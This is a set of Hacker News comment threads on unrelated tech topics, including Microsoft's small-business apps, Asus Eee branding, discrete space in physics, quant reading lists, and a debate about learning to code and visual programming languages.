New business apps in Office 365: Connections, Listings and Invoicing - <AUTHOR> https://blogs.office.com/en-us/2017/07/10/new-business-apps-in-office-365-business-premium-help-you-run-and-grow-your-small-business/ <comment><USER2> Limited to "Microsoft Invoicing":

>Microsoft Invoicing helps you quickly create professional-looking estimates and invoices, so you get paid quickly.

I can assure everyone that I normally (slowly) create manually VERY professional-looking invoices, but that doesn't in any way help me being paid quickly.

<comment><USER3> Freshbooks commit the same sin:

> Wow your clients with professional looking invoices that take only seconds > to create. The best part? You'll get paid faster, too.

I don't really understand how they figure that.

<comment><USER4> I think their business benefits are real: Small business owners are often brutal at sending out invoices. They procrastinate like everyone else. The sooner you send out an invoice, the sooner you will be paid. Also, tracking payments provides structure to follow up with your receivables. Often a reminder is all that is needed for payment. Customers just forget, but do want to pay. Clear invoices that are easy to understand will also have fewer questions and are less likely to be contested.

<comment><USER3> Does Microsoft's product not do these things?

</comment></comment></comment></comment><comment><USER5> <joke> It looks like Microsoft is slowly reimplementing half of YC startups. </joke>

Seriously though, I'd be really worried if I was in SaaS space now. Microsoft is going after most business-relevant SaaS offerings, while providing infrastructure to others (what's going to be left?) at the same time.

I wonder at what point will this strategy be seen as monopolistic or as a threat. For example, what's stopping them from becoming THE accounting outsourcer for half of the world? First you use their accounting, next you are out. While MS investors must be in heaven now, others should be wary.

Anti-monopolistic laws probably won't kick in in USA, because MS has competitors in each space they are walking into. However, seen as a whole, one can easily see how impoverished (in terms of choice) the ecosystem is going to become.

<comment><USER6> PowerBI is the best example, Tableau's stock price dropped 50%+ last year and I am convinced a big part of that is Microsoft stepping up their game in the analytics dashboard area, I covered this in my blog too. It's difficult to make predictions and if you are using these software solutions the only way to protect yourself and your organization from sudden changes in the market is to adopt an architecture that is as modular as possible. No software package or SaaS should be mission critical to run your business unless impossible to avoid to do so (ie Excel in finance).

</comment></comment><comment><USER7> Looks interesting. I wonder how these apps compare to the individual competitors in the space such as MailChimp and Freshbooks

<comment><USER8> Pretty pared down by the looks, they're not going to be as mature for a while.

I wonder if Connections is going to charge per mailout/campaign like the encumbants do.

</comment></comment><comment><USER9> Listings looks exactly like what I was looking for - does anybody have experience with a similar tool?

</comment><comment><USER10> Isn't there some GNU tool that can automatically generate invoices and cheques?

<comment><USER11> m4? :P</comment></comment>


You Have Been Banned from This Website Because of Your Ad Blocker - <AUTHOR> http://wsdlbrowser.com/banned-by-adblock <comment><USER2> It is their right to do so as it is the user's right to attempt to bypass it.

Unfortunately when it comes to ads and adblocking there isn't a clear-cut solution that satisfies both security and ethics.

</comment><comment><USER3> I'm happy to be "banned" for protecting myself online.</comment>


Youku to Buy China Online Video Rival Tudou in $1 Billion Stock-Only Deal - <AUTHOR> http://www.bloomberg.com/news/2012-03-12/youku-to-buy-china-online-video-rival-tudou-in-1-billion-stock-only-deal.html

<comment><AUTHOR> Tudou's stock is up 150% today, 100 USD of stock last week would be worth 400 USD now.</comment>


Eee - a case study in bad marketing - <AUTHOR> http://www.ericsink.com/entries/eee.html <comment><USER2> So, Mr Sink says that there are "so many products under the Eee name that soon the brand will be meaningless." He had one reason, but he didn't bother telling us why that may be true.

His only reason was this : there are so many offerings of Eee, the _product version_ or _model_ is unclear and non-specific. As a result, he claims, the brand will become meaningless and die. It is true that "I have an Eee" is as vague as "I have a game console" or, closer to home: "I have a laptop". But meaningless and dying? Historical evidence suggests otherwise.

The phrase "I have a DS" doesn't tell you if I have an ugly grey brick-shaped plastic or a beautiful, smooth and colourful piece of art; but it tells you I have a gaming console, speficially, one not made by Sony.

The iPod comes in nearly as many different offerings: iPod Classic, iPod Touch, iPod Nano, iPod Shuffle, multiplied by many different version numbers. But I think we can all agree that iPod as a brand is not going to go anywhere, and is certainly not meaningless in the marketing world.

Perhaps Asus isn't trying to make Eee stand out as a single product, but rather an entire _product series_ , or perhaps even an entire category all on its own. It is not a "Laptop model number Eee 701 made by company x", but "an Eee". This is the true power of branding, when your brand is so successful that the average person refers to your product not by what it is, but by its very name.

If I tell you I drive a Porche, I am not being specific about what kind of car I'm driving, but to some people, what I have suggested matters more than if it's red or an SUV or brand new.

<comment><USER3> But an iPod or Porsche are used for very specific things (listening to music and going fast, respectively). His point was that the original Eee was useful in a way normal laptops or PCs are not. To apply the same name to more conventional devices dilutes the brand power of the original Eee, much like if Porsche made a pickup truck.

<comment><USER4> <http://images.google.de/images?q=Porsche%20Cayenne%20PickUp>

<comment><USER2> Thanks Eru. Exactly. They also make really really ugly SUVs.

To other repliers to my original comment, I picked Porsche and iPod because both brands make one (1) type of thing in many (*) different styles and flavours. The Eee is a portable computer (laptop), albeit in many different flavours, just like how all Porsches are automobiles and all iPods are MP3 players.

Some are bigger in capacity, some are faster, some are more heavy duty, some are more compact and beautiful in form. All of the brands aim to be an indicator for stylish lifestyle. I am arguing that having a wide range of options under one brand umbrella has worked fabulously in the past for other brands. Also that it does not necessarily dilute the definition of the product, but rather by giving the brand a range of options, completes it and let it become a category all on its own.

<comment><USER3> Porsche has made little except high-performance sports cars for more than fifty years (certainly that's where they've focused their branding). Apple gained huge market share before making an iPod that did anything other than play music.

Asus waited about four months before sticking the "Eee" brand on every product in sight. There's a difference.

<comment><USER4> Oh, and very important for those Americans: PORSH-uh (IPA: /ˈpɔrʃə/).

</comment></comment></comment></comment></comment></comment><comment><USER5> Agreed completely. I found the original Eee (and I don't even know the numeric model to go with it) to be a great idea. Nowadays I don't even have a clear mental image for what it is, a low-end cheap laptop? A desktop? What?

Too bad really, Asus had a good thing going.

</comment><comment><USER6> _"After all, they're basically a manufacturing company, not a marketing company, right? The fact that they created a great brand was probably an accident anyway.

But as a marketer, that's what makes this even more infuriating. Creating a great brand usually requires hard work, lots of creativity, and tremendous discipline. When someone pursues the goal in that manner and succeeds, I admire them. But when someone accidentally succeeds, and then destroys their own work, I just want to bang my head against the desk."_

Asus created a great brand by building consistently great products - not by marketing or gimmicks. To this day, I refuse to buy any montherboard other than an Asus. I've had Soyos, MSIs, and many other spontaneously fail on me, but never an Asus.

That's the right way to build a brand name.

<comment><USER7> Different brand.

The Eee brand meant something else, and could have become the label for an entire product category. As "iPod" replaced "MP3 player", "Eee" had the potential to replace "real computer small enough to take anywhere without thinking about it too much."

This is the brand whose demise Eric Sink laments.

<comment><USER8> Exactly. These devices have gone from being 'eeePC clones' to 'Netbooks'

</comment></comment></comment><comment><USER9> Aren't sales a better metric for determining marketing effectiveness? (vs. Eric Sink's personal opinion)

The EEE is targeted mainly to consumers in Taiwan and the rest of Asia, where it has consistently sold out since it was introduced. It even sells out at the Taiwanese computer store in SF where I buy my ethernet cables.

<comment><USER10> In France they give the thing away with mobile phone subscriptions. What they do is build dazzling displays for it in mobile phone stores, positioning it as the lastest in cool gadgetry. And I must admit it really looks slick, in a "I didn't know there was a new iPod that's kind of like a notebook computer" kind of way, which I guess is exactly what they're aiming for.

</comment></comment><comment><USER11> One of the more interesting things they're doing is that a bank up here in Canada is giving them away when you open a specific type of account: [http://www.rbcroyalbank.com/products/deposits/nolimit/index....](http://www.rbcroyalbank.com/products/deposits/nolimit/index.html)

and they heavily advertise it on radio, tv and billboards.

It almost evokes the word "toaster" a la bank promotions from the 50s (or at least old tv shows). If what you're trying to do is sell, not a computer, but an "internet appliance" to a mass audience, it seems pretty smart.

</comment><comment><USER12> In the bigger picture, ASUS need to fill in _all_ the gaps between the low-end eee and a laptop proper, so they don't open an opportunity for a competitor.

Their brand "eee" is their best way to signal to consumers that they have a smaller-than-laptop available and why don't you have look, let's see I bet this one is just right for you, ok? a bit bigger? a bit smaller?

Incidentally, they already have dropped the "eee" brand from the high-end "eee" style machines.

Also, I hope I fail as well as them. :-)

</comment><comment><USER13> My opinion comes down 180 degrees from the article Author.

The full name of the brand is "Eee PC", not just "Eee" - a mistake the article author makes. It's clumsy and inelegant, too long, nobody says the whole thing, and if you say it aloud it sounds the same as "EPC" which isn't good for literal word of mouth -- no google result for EPC sends you the right way.

ASUS isn't even pronounced the intuitive way (for English speakers): [http://gizmodo.com/gadgets/eee-pc/how-to-pronounce-eee- pc-32...](http://gizmodo.com/gadgets/eee-pc/how-to-pronounce-eee- pc-320007.php) \-- it's evidently pronounced ah-SOOs, not AY-suhs. Branding faux-pas (fox-pass, if you please).

Asus is fighting an uphill battle here. Not only does nobody know what an Eee PC is, they don't know what an Asus is. I have been geeking since I was a toddler and I know Asus makes motherboards, but even I don't know if they're any good. They sound too much like Acer, a company that does make PCs, but not the one you care about in this case. In fact, in my free association exercise I think Asus -> Acer -> monitor for my friend's Packard Bell 486 a long time ago. Uphill battle indeed.

In fact, I didn't even know Asus made ready to buy computers, until I visited their site and recognized one that a coworker owns and is quite proud of.

Furthermore, if you search for Asus on google, the first hit is for "ASUS International" and the second hit is for "ASUSTek Computer Inc.". Even _they_ don't know what their brand is.

These are great gadgets but their branding is screwed, stem to stern. They've pretty much rendered themselves ineligible to be a premium / high margin provider in this field. The consolation prize is they know how to play the cut-throat margins game, so they can at least work that angle.

If I was running the show I'd rename Eee to something that prounounced easily and spelled like it sounded, and then anchor that as the brand name. Move the current products under that name, so the "Asus Eee PC Surf" would become a "WhateverBrand Surf". After building that brand up move the entire Asus prebuilt laptop line under a sub-brand of the new company name. As now, position as a company that makes easy to use computers, differentiate by using customized and streamlined Linux. Sell the main product with a clear slogan (think "Just big enough" without the obvious phallic misinterpretation), and maybe they'd have a consumer brand that they could build from.

<comment><USER4> They pronounce ASUS sane - if you happen to know Latin, Turkish, German etc.</comment></comment>


Is space like a chessboard? - <AUTHOR> http://www.physorg.com/news/2011-03-space-chessboard.html <comment><USER3> "Space is usually considered infinitely divisible — given any two positions, there is always a position halfway between."

I'm unsure if this can be extended to space, but I know that current theories state that there is a unit of time (the Planck time) that seems to be, in a sense, indivisible:

"Within the framework of the laws of physics as we understand them today, for times less than one Planck time apart, we can neither measure nor detect any change."

<http://en.wikipedia.org/wiki/Planck_time>

Could someone more knowledgeable in physics than myself elaborate on whether this fact would also mean that spacetime, and thus space, is "indivisible"?

<comment><USER4> <http://en.wikipedia.org/wiki/Planck_length>

This seems more appropriate.

<comment><USER3> Yes, but I didn't post that because of this quote, which led to my overall confusion: "The physical significance of the Planck length, if any, is not yet known."

</comment></comment></comment><comment><USER5> >Electrons are thought to spin, even though they are pure point particles with no surface that can possibly rotate.

for an article related to theoretical physics and QM this opening is as bald as e2-e4. "Surface", "spin" [as in spinning wheel], "rotate" ?

Reading further:

>Space is usually considered infinitely divisible — given any two positions, there is always a position halfway between.

considered by whom?

>If the electron had a radius, the implied surface would have to be moving faster than the speed of light, violating the theory of relativity.

well, it wouldn't be the first time a QM effect wouldn't fit the SR. The SR is applicable only between medium macro scale and medium micro scale [ and only to the speeds equal or below "c" ] . Large macro scale is outside SR - <USER2> last 13B years the Universe has expanded to the size much larger than 26B of light years. And the "electron surface speed" [or whatever there may be instead of the "surface", "speed", etc...] is well below the scale where SR is still applicable.

The SR is about movement [and its "speed" as in "space"/"time" ] relative to local space in the local time with both modeled as _mathematically_ continuous. At the very large macro scales - Universe and its time - the space itself expands [ please don't mistake it for "observed" by SR "observer" expansion/contraction of the fixed local space] . At the very micro scale - the SR's models of the space and time aren't accurate enough to be used as a foundation for any conclusions about that scale.

</comment><comment><USER6> My physics teacher said that spin is not necessarily rotation, more of a mathematical metaphor.

<comment><USER7> It actually can't be rotation, otherwise the magnetic moment of charged particles comes out wrong by a factor two.

From the mathematicians point of view spin arises naturally when you study how to represent the symmetries of special relativity. Quantum mechanics taught us that a physical state is represented by something called the "wave function". Different observers (e.g. one moving relatively to the other with constant speed) see different "wave functions" representing the same state.

Studying all mathematically consistent possibilities of how to calculate what one observer sees if you know what the other sees leads to the possibility of particles with spin.

</comment></comment><comment><USER8> >discovering a new way to think about the structure of space

Enquiry into the quantisation of space is hardly new.

From <http://www.jstor.org/pss/187807>: "A solution of the Zeno paradoxes in terms of a discrete space is usually rejected on the basis of an argument formulated by Hermann Weyl, the so-called tile argument. This note shows that, given a set of reasonable assumptions for a discrete geometry, the Weyl argument does not apply. The crucial step is to stress the importance of the nonzero width of a line. The Pythagorean theorem is shown to hold for arbitrary right triangles."

<http://en.wikipedia.org/wiki/Xeno%27s_paradox> <http://en.wikipedia.org/wiki/Hermann_Weyl> raised the "distance function problem" in respect of space comprising discrete parts

</comment><comment><USER9> That was awful.</comment>


Ask HN: Calling all quants – What's your essential quant reading list? - <AUTHOR> What books do you recommend for anyone who wants to do anything quant?
Here are a few to kick this off:
Deep Learning - Goodfellow/Bengio
Probability - Feller
Principles of Mathematical Analysis - Rudin
Intro/Elements Stat Learning - Hastie/Tibshirani <comment><USER2> I am not a quant.

The Eudaemonic Pie — Thomas A Bass

No theory, just a fascinating history.

edit:

More of a pre-history. It seems that amazon says nothing about Farmer and what he went on to do.

One of the characters: [https://en.wikipedia.org/wiki/J._Doyne_Farmer](https://en.wikipedia.org/wiki/J._Doyne_Farmer)</comment>


Don't Learn to Code, Learn to Program – But Come Back in 10 Years - <AUTHOR> http://johnkurkowski.com/posts/dont-learn-to-code-learn-to-program-but-come-back-in-10-years/ <comment><USER2> My paraphrase of this article:

"All of the blood sweat and tears poured into making programming more productive over the years just isn't good enough. No, I haven't done anything, personally, to improve the situation. My plan is to continue bitching about how things aren't good enough until...well, indefinitely, because bitching about other people's efforts is much easier than doing the hard work of solving a challenging problem myself."

Is that too harsh? I don't see a single concrete, actionable proposal in there, let alone anything the author has personally done to fix the sorry state of programming.

I also think it's a huge disservice for him to dissuade his friends from programming until some state of nirvana is reached in programming tools. There are some hurdles to overcome, but a little bit of programming skill can greatly amplify the reach, scope and influence of non-programming talents.

<comment><USER3> I read it as: "programming could be so much better; I have a glimpse of what it could be like, but don't know how to get there."

<comment><USER4> I like your reading better. I would have liked the blog better if it had had more of the feeling of humbleness that your words have.

The blog felt like it was saying "shut up till you do something better" where it should have said "Imagine how cool it would be to do something better".

<comment><USER5> A humble approach is always nice, its always challenging to give an earnest opinion ( after all that's why I read your content, for your opinions) and be openly modest. your (authors) terminology in differentiating programmers form coders is different from my own 'naming'. My wording are often around application development vs systems programming. a sys programmer writes software for humans to control machines ( databases, OS's,tools) where as an app developer is focused on software (computers) that controls humans ( apps that constructively shape human actions) . I liked the article , good post.

</comment></comment></comment></comment><comment><USER6> This is an entirely pointless false dichotomy. "Coding" and "Programming" are just synonyms of the same damn thing: make a turing machine do stuff. I have no idea why people are suddenly trying to make a false distinction when there was none for decades and decades, but frankly it's stupid. My only thought is there's a bunch of butt sore guys who are upset that learning to make a computer do stuff is nothing special and are now trying to find a new way to differentiate themselves with the moniker "Programmer" and looking to shit on anyone who's "Just A Coder".

So I propose a new term. Turingulate: verb. Making a turing machine do stuff. Typing Python into a file and running it with python? Turingulated! Running a PD graph to create a fuzz pedal? Turingulating! Using Max/SP? Turingulating! Programming because you're so special? Turingulate. Coding to .. uh code some ... uh code... which isn't programming? Turingulator!

So stupid.

<comment><USER7> Colloquially they are synonyms. Especially amongst people who don't make software. It's not derogatory and not worth getting bent out of shape about.

BUT ... (Bet you saw this coming)

Coders turn detailed specs into code. No real thought required.

Programmers, or software developers, design systems and code them themselves.

That's the distinction I make anyway. I've seen coders at some workplaces. It's a dreary job and I would never do it.

<comment><USER8> I have seen similar articles with the word "programmer" used in place of "coder" and "developer" used in place of "programmer". I don't think there is any hard and fast rules as to what makes a coder / programer / developer / software engineer.

I think that is part of the problem. The outside world sees these as equal. While after 10 years in the industry I can see the difference between someone who can write a script that will get the job done (for the time being), and someone who can design / write decent code that you expect to be working a year or two later.

</comment></comment></comment><comment><USER9> Hold on a second. OOP, markup, APIs, and HTML/CSS/JS are snake oil, while visual programming isn't? Say what you will about the former technologies, but they're being used for productive purposes. Visual programming is vaporware that someone tries to build every 5 years or so to no effect. Functional programming has much the same challenge, but it's getting integrated into mainstream languages. Otherwise, it would likely still be a research toy as well.

<comment><USER10> [http://en.wikipedia.org/wiki/LabVIEW](http://en.wikipedia.org/wiki/LabVIEW)

I believe that's an example of visual/graphical programming, it's fairly mainstream in some areas and not vaporware.

Re: Rest of comment - Filtered site, I'll read it at home.

<comment><USER11> I used LabView in college and a couple of other visual programming schemes in my work that have since disappeared, and they all had the same drawbacks: If your needs fit tidily within the assumptions made by the designer, they can be very productive indeed. Once you step a little bit outside of that, they turn into a tortuous mess. Can't even count the number of times I wished I could just write a few lines of code instead of trying to figure out a byzantine way to hook up enough icons that I got my desired end result.

<comment><USER12> I've always been told by labview advocates that "you can of course pull up a text editor and write code." The language and API is certainly a different matter, being a second class citizen and presumably an afterthought.

</comment></comment></comment></comment><comment><USER13> > _" Programming is a notion to extend human capability, by offloading > humanly-infeasible work onto a machine. It is the promise of an amplified > knowledge worker. This would be worthy to learn."_

With this (correct) notion the author continues until he decides that

> _" Meanwhile there are few souls looking to evolve text code into something > more humanly intuitive. For example something you can touch, you don't have > to read, or that tells you what the computer is thinking, so you don't have > to think like a computer yourself."_

I can't help but feel that what the author really wants is some futuristic kind of AI assistant. Decades of programming progress has resulted in numerous abstractions piled on top of one another in order to minimize the amount of "thinking like a computer" that you have to do. But all abstractions are leaky and when you encounter those leaks you will inevitably have to be able to think like the machine you are trying to communicate with.

Why is it acceptable to say that effective communication with _people_ depends on being able to think like the person you're talking to, but demand that communication with a far more different and limited _machine_ should never require you to compromise on your preferred thought patterns? This is the fundamental fallacy of the natural language programming advocates. They want to use another entity to do things for them but demand all communication with that entity be in their preferred language, on their own terms.

<comment><USER14> Moreover, I'd just jump in here to point out that effective communication with _people_ quite frequently involves "text code".

<comment><USER15> Is the entire premise of Neuro-Linguistic Programming (NLP) not that you can influence people's thought patterns by using language as code, as instructions?

<comment><USER14> That's basically my impression, but my understanding is that NLP is not very strongly supported so I'd be leery about using theories from there as if they provided much evidence about the world.

I don't think you need to get so vague though - if you want to communicate a task to a human, you very explicitly use language most of the time (particularly for anything complex). They may not follow your instructions for whatever reason, but the _act of communication_ is done with text.

</comment></comment></comment></comment><comment><USER16> Just because something is hard doesn't mean it's broken. Nobody would say that say, advanced mathematics is broken because the layman doesn't get it.

My bullshit detector notes that he talks very generally about "knowledge workers leveraging machines". The problem with the phrase "knowledge worker" is it often means "person who sends lots of emails". You don't need to be a programmer to send lots of emails.

Real "knowledge workers", like, the kind of people that actually are working to extend human knowledge and need computers to do it, largely do know how to program to some degree (IE, scientists and mathematicians and so on). A lot of it isn't "professional" grade, but it works well enough for them and it keeps getting better.

Also a tangent: but I'm sick of the whole "coding is literacy" nonsense. Not everyone needs to code. Literacy unlocks centuries worth of knowledge in any domain you want, from contemporary thinkers to people who are long dead. Coding lets you tell a computer how to do specialized things. It's not even remotely comparable.

<comment><USER17> > Nobody would say that say, advanced mathematics is broken because the layman > doesn't get it.

We _do_ make math more tractable and accessible over time with various reformulations and new abstractions and conceptual tools, though. You're probably using arabic numerals when you do arithmetic, and there are good reasons for that.

(Though heaven knows, if I'm likely to run across an abacist anywhere in this sort of discussion, it's probably here. :)

<comment><USER18> And computers have been made more tractable and accessible over time with reformulations and abstractions. And at a much faster pace.

People who think that programming is not dramatically easier today than ten years ago just have a short memory. Or they're 25 years old...

<comment><USER8> I wouldn't say it is easier (or harder), I would say it is different. Before you were having to remember lots of tricks to fit as much information into as little memory as possible. Today we have lots more stuff to remember. Operating systems are way more complex.

At the end of the day, most people are programming at a far higher level, so things are more productive. I have produced a reasonably sophisticated databases / web front end for my work, in Django as a one man team. Ten years ago I believe that it would have taken far more man hours to achieve the same thing. I don't have to remember tricks to compress data, as disk space is cheap now. I do have to know reasonably advanced SQL, and remember a lot about how Django works.

</comment></comment></comment></comment><comment><USER19> I don't think we have to worry about "everyone" or even a small percentage thereof learning how to code. They won't. It's not that they can't, but it takes more than a couple of hours writing "Hello World" to do anything substantial and most people are not willing to put in the time, day after day, to learn anything substantial.

That being said, I can't imagine anything more human and more powerful than text. If I want to give instructions to a _human_, the best way I know of is to write them down as clearly as possible. If this works with a complex person, why would it not work with an incredibly simple (from an abstract point of view, not implementation) microprocessor. After all, all processors have an extremely limited set of instructions (even CISC ones).

This desire for something that is not text seems misplaced. After all, text is (IMO) certainly better than pairs of numbers indicating operation and data. _Writing is one of the greatest human achievements._ To dismiss it in favor of touch or something graphically visual is to disregard its power and superiority to both touch and visual systems of communication.

When designing a system, if I am able to give it commands in English (or any other language), this would be vastly superior to anything visual or touch based that I can think of or that the article specifies (or rather doesn't). To take the whole system of a language like English with its complex idea- expression engine and its vast array of words (1 million++) and discard it is ridiculous. Now, we are not currently programming in English, or anything even remotely close (though many languages' grammar follows from natural language somewhat), but I do believe this is, and has been for decades, a goal that may one day be achievable. This is desirable as humans are naturally inclined towards language and those who practice it can be incredibly good communicators (programmers of reality).

<comment><USER20> "It's not that they can't"

No, they really can't. Garbage in garbage out. Can't implement an algorithm or follow a protocol unless you understand it, and the world is full of people who literally don't understand how a thermostat works, how to drive safely, or how to implement the NRAs three basic rules of gun safety.

Note that our shared enjoyment of text as per your 3rd paragraph is only politically correct WRT to programming... if you dare to suggest text might also be the superior user interface, the dogpile will begin. Which is sad. Closed minds are always weaker than open minds...

Lets play a game, I'm thinking of a well designed, expressive, long lived programming language developed by a linguist... Its dumped on here at HN for no logical reason, just the usual womens fashion fad explanations. I suspect this would happen to any "English like" future programming language.

<comment><USER21> "just the usual womens fashion fad explanations"

Very classy, dude.

<comment><USER22> Men can be fashionable too, it's just typically not as fun for us. I would say most of the time the only reason men are interested in fashion is to become more attractive to women.

Edit: I realize this kind of generalization probably offends people. I'm sorry, I just believe that men and women are fundamentally different from each other. Here's my google search findings on the topic:

[http://www.lloydianaspects.co.uk/evolve/fashion.html](http://www.lloydianaspects.co.uk/evolve/fashion.html)

</comment></comment></comment></comment><comment><USER23> The author is frustrated by a real and frustrating problem, but he's missing why things are this way.

The "triumvirate of HTML/CSS/Javascript" isn't just a technology. It's a _social consensus_. It's not actually "designed" in a meaningful sense -- it's evolved.

And things pretty much need to be this way, unless you want to be an island. Even if you have the ambition and the resources to throw it all away and "do it right" from scratch, by the time you finish the world will have moved on and your perfect gem will be obsolete. Real technology is always iterative.

The same constraints apply to programming languages in general, because they truly are _languages_ that human beings use for thinking. Languages and their associated cultures can only evolve so fast. It's not really a technical issue, it's a social issue.

The author's assertion that our "arcane" interfaces persist out of a kind of perverse pride just doesn't ring true to my experience. Programmers cry tears of joy when they get to throw away something old and arcane because they don't need it anymore. And his assumption that visual programming will necessarily be better than textual programming is completely unproven.

Anyone who could actually make programming easy would reap vast wealth. The incentive is there. If it's really a no-brainer to build visual programming tools, well, where are they? There must be something harder about it than you think if we're still waiting.

<comment><USER24> An interesting thought about evolution is that text-based programming languages are exquisitely evolve-able, because the technology and effort to evolve a language or create a new one aren't too far out of our reach. If you don't care too much about efficiency, you can create a new language from an old one, and pass it around for others to try out.

This may be why there are 100's of text based languages, but I can think of only one graphical language -- LabVIEW -- in widespread use. LabVIEW requires a monumental organization to maintain. Adding a structural feature to the language, requires changing the entire GUI, menus, and so forth.

I suspect that if LabVIEW came out with a text based option for dataflow programming with support for their massive libraries, folks would abandon the graphical interface.

Maybe graphical isn't always better. Maybe text is really the best way to express programs after all. We could wait for programming to become "intuitive," or learn to develop our intuitions.

An anecdote about graphical systems. When I read tutorials for Windows, it's usually a lot of text interspersed with pictures of windows and dialogs. Even videos. Walking someone through a process over the phone is excruciating.

The same process using Linux: Open the terminal and enter this text.

In fact, Windows tutorials are starting to use: Press the start button and enter some text. I find the device manager by entering "device manager" into the start button menu, not by following an "intuitive" GUI.

</comment></comment><comment><USER25> "A relief from the unintuitive, unscalable, unfounded snake oils like OOP, markup, APIs, or the triumvirate of HTML/CSS/JS. As if these technologies are the best we can do."

At first I was mad. Then I read the above quote and everything clicked into place. This article is hilarious and I love every shrill, indignant, purposefully absurd word of it.

</comment><comment><USER26> Probably the biggest bit:

"Can't I just make a website?"

That type of question is where a lot of things go wrong. Newbies ask that because they don't have the experience to break it into smaller parts, experienced people get tripped up because they can't see past the "well, what type of website doing what?"\--all the while the question is "what would you use it for?".

It's a bad question, because the asker doesn't know enough to ask a useful one. Our job, then, is to help them learn how to ask the right question.

</comment><comment><USER27> There is no point in teaching something to people they don't like doing. Its a bit like forcing painting or sketching on people who just don't like doing it. A lot of schools do it, and kids who don't like painting or sketching do it real bad and become the object of ridicule.

Programming et al has a meta science its called 'making', 'tinkering' or 'hacking' or whatever you call it. If there are people who don't have a taste for it, teaching them sorting algorithms is as boring as learning math. Now common people are one thing, most people who join our industry as programmers discover they just want to do something else and go down the managerial stream.

Programming isn't for every one, just like building houses, cars, dams, or an electric grid isn't for every one. In all those disciplines common patterns of problem solution and general science are at play. Chances are if you like chasing a difficult bug and fixing it, you will also like repairing a car engine, or fixing your TV.

I have an elder cousin who runs a shoe shop for a living, he tried very hard to learn programming during the dot com boom era. He gave up in like six months. He just realized that procedurally learning something only because, every one is just doesn't work out, the problem isn't just programming. If you don't like solving problems and are not good at problem identification and opportunity identification, it gets really really boring at one point. He likes to sell things and is exceptionally good at that. Building things is just not for him. And there is nothing wrong about it.

The biggest problem with 'teach every one to code' is you have to first ask 'Do they want to learn coding?'.

</comment><comment><USER28> The issue with every Visual programming language I have used is that while it is easier to learn for beginners, it is almost always faster to type once you start to understand programming.

</comment><comment><USER29> I don't think programming should be mainstream, I think software should simple and intuitive enough to let anyone get work done without having to know how to write code.

</comment><comment><USER30> I agree with the author in regards to coding web sites. It's not enough to know a just a few languages, there's a whole frickin' vocabulary of crap piled on layers of services and frameworks frosted by the JS flavor of the week.

Or just configuration. Everybody wants to reinvent Make and they all do it wrong...

</comment><comment><USER31> There is a reason we speak and write words to communicate complex ideas rather than hold up pictures. Words are powerful and flexible. They are not going away.

</comment><comment><USER32> When I saw the title, I thought it was, "Come back after you practiced for 10 years" which doesn't help much.

I used to think the solution was better interfaces, or making programming more accessible to the lay person. I get less sure of this over time. It seems like what we've gained in language ease of use (Python versus C) we've given back in environmental complexity. The net is better productivity for programmers, and more people crossing the divide (CS programs growing by leaps and bounds) but we're far from being there for the Everyperson. I don't see this changing in 10 years without increasing the rigor and logic requirements of our entire educational system.

</comment><comment><USER33> The author of the article wrote it using words. He didn't make a video or draw a picture, because words were the best way for him to communicate with other humans. For some reason, he wants a different way to communicate with machines, one that is inherently not the way humans communicate with each other.

I also agree with what others have said, that this is nothing but a bitch fest with nothing actionable other than we ought to be creating visual programming tools no one wants or needs instead of doing actual work. Sure, buddy. I'll get right on that.

</comment><comment><USER34> Man, people are so overly sensitive... it's almost like someone is trying to promote job security.

</comment><comment><USER35> I don't the author understands programming if he sees object-oriented programming as being in the same bucket as HTML/CSS/JS. OOP is a way to deconstruct problems, just like functional programming, and their beginnings are based on very similar principles.

Any language that fully accepts the object-oriented paradigm lends itself very naturally to functional programming, and vice-versa.

<comment><USER36> Uh. What? Fully accepting the object-oriented paradigm does not make a language any more likely to properly isolate state and side effects[1], any more likely to have immutability as a default assumption, or any more likely in any other way to encourage referential transparency. As referential transparency is the essence of functional programming, this makes your claim very confusing.

[1] Following OOP _design patterns_ makes a given program more likely to properly isolate state, but this is by no means a virtue of OOP _languages_.

</comment></comment><comment><USER37> I think the author should read Fred Brooks's "No Silver Bullet". Many of his arguments are still valid after 28 years. "There is no single development, in either technology or in management technique, that by itself promises even one order-of-magnitude improvement in productivity, in reliability, in simplicity."

<comment><USER38> "No Silver Bullet" reminds me of the physicists at turn of century claiming that Newtonian physics held all of the answers. He blames the issues in software engineering on bad programmers, instead of questioning his field. His narrow minded, defeatist arguments fail to recognize the full potential of computer science. I don't buy his argument that Java or JavaScript have eliminated most of the accidental complexity in programming. It's like Von Neumann claiming, "I don't see why anybody would need anything other than machine code.

Computer Science is still in its infancy. We haven't reached the full potential of Von Neumann architecture, let alone the dozens of non-Von Neumann systems that have been largely ignored by academia. Recent advances in neuroscience may open up a whole new model for information processing, such as IBM's SyNAPSE project.[1] Have you watched Bret Victor's, "The Future of Programming"?[2] He does a wonderful job of countering many of Fred Brooks's points.

[1] [https://www.research.ibm.com/cognitive- computing/neurosynapt...](https://www.research.ibm.com/cognitive- computing/neurosynaptic-chips.shtml)

[2] [http://worrydream.com/dbx/](http://worrydream.com/dbx/)

<comment><USER37> Yes I have watched Bret Victor's talk. Narrow minded or not, Brooks's predictions held true for more than a decade after the time of writing. I'd like to read your counter-arguments.

I'd say architecture and advances in neuroscience are tangential here. I think the core of the problem is still somewhere else.

* sidenote: Lisp machines weren't at least completely _ignored_ by academia.

</comment></comment></comment><comment><USER39> I think the reason visual programming hasn't taken off is there is a very real difference between what you can express with language and what you can express visually. Images don't really contain determinate, precise statements or propositions the same way that written or spoken word does. In contrast language can express any thought, no matter how recursive or abstract, effortlessly. For the narrow domain of programming - not typesetting, not rendering and manipulating images - the text editor happens to be an extremely very powerful tool that allows us to tell the computer exactly what we want it to do. It hasn't been replaced because it hasn't needed to be - it is simply the most powerful tool in which to write language.

The other reason visual programming hasn't taken off is because programmers aren't visually oriented, right-brained, intuitive people. Exceptions to this rule abound, but I am certainly not one of them, and neither are many programmers I've known. They've tended to be left brained, linear, linguistic, rational-over-intuitive sort of people - which is why we pick up computer languages so quickly, and it's also why we like typing code into a text editor instead of drawing our program on screen. I know that functionality isn't lateralized to easily and this is an oversimplification - but there does seem to be a dispositional difference between those who are attracted to programming and those who aren't.

But this'll probably change, as everything does. As the author notes FP and lambda calculus have been around since the beginning of computer science as a field and they are just now starting to get mainstream traction. So, maybe, in about 20 years visual programming tools will start to be mature enough to applied to any arbitrary problem., and a powerful visual language will develop that attracts enough visually-oriented people to change or revolutionize the field. But we can't put the chicken before the egg - the tooling needs to mature enough to cause this network effect to occur.

